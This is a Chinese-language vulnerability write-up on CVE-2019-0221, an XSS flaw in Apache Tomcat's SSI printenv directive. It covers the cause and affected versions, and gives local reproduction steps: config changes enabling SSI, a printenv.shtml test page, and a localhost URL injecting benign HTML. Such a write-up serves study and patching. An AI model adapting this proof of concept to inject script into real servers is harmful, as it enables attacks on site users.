CVE-2019-0221 Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS) Vulnerability
Apache Tomcat 中的 SSI printenv 命令回显用户提供的数据而不转义,因此容易受到 XSS 攻击。默认情况下禁用 SSI。printenv 命令用于调试,不太可能出现在生产网站中。
Detail
- CVE: CVE-2019-0221
- CVSS: 6.1
- 危险等级: 中等
- 影响范围: Apache Tomcat 9.0.0.M1 到 9.0.0.17、8.5.0 到 8.5.39 和 7.0.0 到 7.0.93
漏洞原因
服务器端包含(SSI)是一些Web服务器中使用的一种简单的脚本语言,用于实现包括文件、变量的值回显和显示有关文件的基本信息等功能。这些只是针对于SSI特定的环境变量,它们要么由用户设置,要么包含关于传入HTTP请求的信息。
这种简单的脚本命令中包括:echo
指令打印出单个变量的值,而printenv
指令打印出所有变量的值。这两个指令都输出HTML。Apache Tomcat对于使用echo
指令时正确地转义了XSS值,但对于printenv
指令则没有。因此,如果应用程序使用这个指令,攻击者可以注入恶意输入,从而导致XSS。
漏洞复现
0. POC
1. 前期准备
- 必须在Apache Tomcat中启用SSI支持 - 全局或特定Web应用程序。默认情况下是禁用的。
- Web应用程序中必须存在具有“printenv”SSI指令的文件(通常为“.shtml”)。
- 攻击者必须能够访问该文件。
2. 复现步骤
-
修改
conf\context.xml
文件第19行,获得上下文权限。<Context privileged =“true”>
-
修改
conf\web.xml
, 开启SSI Servlet。该段代码默认是被注释掉的, 删除注释即可。<servlet> <servlet-name>ssi</servlet-name> <servlet-class> org.apache.catalina.ssi.SSIServlet </servlet-class> <init-param> <param-name>buffered</param-name> <param-value>1</param-value> </init-param> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>expires</param-name> <param-value>666</param-value> </init-param> <init-param> <param-name>isVirtualWebappRelative</param-name> <param-value>false</param-value> </init-param> <load-on-startup>4</load-on-startup> </servlet>
<servlet-mapping> <servlet-name>ssi</servlet-name> <url-pattern>*.shtml</url-pattern> </servlet-mapping>
-
在
webapp\ROOT
目录下新建ssi
目录, 并添加脚本printenv.shtml
,内容如下:<html> <body> Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/> Printenv: <!-- #printenv --> </body> </html>
-
启动tomcat
> cd bin > ./startup.sh
-
访问这个网址, 发起XSS攻击,观察正确转义的"echo"指令和不能正确转义的"printenv"指令之间的区别
http://localhost:8080/ssi/printEnv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20World%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
官方修复
- 漏洞函数: java/org/apache/catalina/ssi/SSIPrintenv.java
- 官方修复: https://github.com/apache/tomcat/commit/15fcd166ea2c1bb79e8541b8e1a43da9c452ceea
by HsinTsao